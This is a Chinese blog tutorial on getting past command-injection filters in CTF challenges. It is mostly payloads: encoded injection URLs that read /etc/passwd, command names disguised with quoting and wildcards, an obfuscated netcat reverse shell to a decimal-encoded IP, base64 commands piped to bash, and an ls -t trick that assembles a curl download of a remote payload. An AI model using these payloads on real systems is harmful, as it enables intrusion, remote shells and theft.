前言
在日常渗透中特别是打ctf的时候,遇到的命令执行都会被魔改一番,限制的多,需要的就是靠多刷题多积累各种骚姿势,下面开始班门弄斧!
#针对linux
绕过场景
#1 普通绕过
使用url编码/双编码看实际情况,使用一些特殊符号<>,$,"",'',??,,$IFS,$1等等(另外使用tab/换行符/$IFS$1/<>/<可以绕过空格)
http://xxx.com/poc.php?cmd=ca%74 /etc/passwd
http://xxx.com/poc.php?cmd=`whoami`
http://xxx.com/poc.php?cmd=cat%0a/flag
http://xxx.com/poc.php?cmd=cat%09/flag
http://xxx.com/poc.php?cmd=cat$IFS$1/flag
http://xxx.com/poc.php?cmd=cat<>/flag
http://xxx.com/poc.php?cmd=cat</flag
niuxiaoshuai@PWN:~$ whoam""i
niuxiaoshuai@PWN:~$ whoam''i
niuxiaoshuai@PWN:~$ whoami
niuxiaoshuai@PWN:~$ whoam$1i
niuxiaoshuai@PWN:~$ cat$IFS$1flag.txt
niuxiaoshuai@PWN:~$ $(whoami)
#这里主要是看自己的命令环境变量在什么路径,这里是/bin/cat
niuxiaoshuai@PWN:~$ /???/?[a][t] /???/????wd
#如果你要查所有4个文件名字符的txt文件(flag.txt):cat flag.txt
niuxiaoshuai@PWN:~$ /???/?[a][t] ???g.?""?t
#再比如做个反弹吧,原poc:nc -e /bin/bash 10.73.134.66 6666,对它做个变形
niuxiaoshuai@PWN:~$ n$1c$IFS$1-e$IFS$1/bi''n/ba''sh 172590658$IFS$16666
可以发现都是可以成功执行的
#2 拼接绕过
拼接绕过这个灵感来自xss,例如a=alert;a(1),用在命令执行上也是异曲同工。
niuxiaoshuai@PWN:~$ p=wh;o=oa;c=mi;$p$o$c
#3 base64编码绕过
这里需要用上管道符,执行whoami测试(测试了其他16,32,58等都不行,貌似只支持base64)
niuxiaoshuai@PWN:~$ echo "d2hvYW1p" | base64 -D | bash
#4 ls -t绕过长度限制
在linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面),然后再利用sh执行脚本,完美!#假如限制8个字符
#先执行whoami找一下感觉
niuxiaoshuai@PWN:~/poc$ >"mi"
niuxiaoshuai@PWN:~/poc$ >"oa\"
niuxiaoshuai@PWN:~/poc$ >"wh\"
niuxiaoshuai@PWN:~/poc$ ls -t
wh oa mi
niuxiaoshuai@PWN:~/poc$ ls -t >a
niuxiaoshuai@PWN:~/poc$ sh a
a: line 1: ./a: Permission denied
niuxiaoshuai
#假如你要curl远程下载vps上的poc,一般地址转十进制设置80端口,index.html,然后保存为a
curl 2033630300 >a
niuxiaoshuai@PWN:~/poc$ >"30300"
niuxiaoshuai@PWN:~/poc$ >"20336\"
niuxiaoshuai@PWN:~/poc$ >"rl \"
niuxiaoshuai@PWN:~/poc$ >"cu\"
niuxiaoshuai@PWN:~/poc$ ls -t >b
niuxiaoshuai@PWN:~/poc$ sh b
b: line 1: ./b: Permission denied
flag{test_1s_easy}
niuxiaoshuai@PWN:~/poc$ sh b >c
b: line 1: ./b: Permission denied
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 19 100 19 0 0 223 0 --:--:-- --:--:-- --:--:-- 223
niuxiaoshuai@PWN:~/poc$ cat c
flag{test_1s_easy}
###这里也可以省略sh b>c,直接写到上面,但是要注意>问题###
总结
一般题目考的是空格绕过,特征绕过以及长度绕过!是不是觉得非常有趣!!!
本文始发于微信公众号(默社安全):命令执行的内些事儿
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论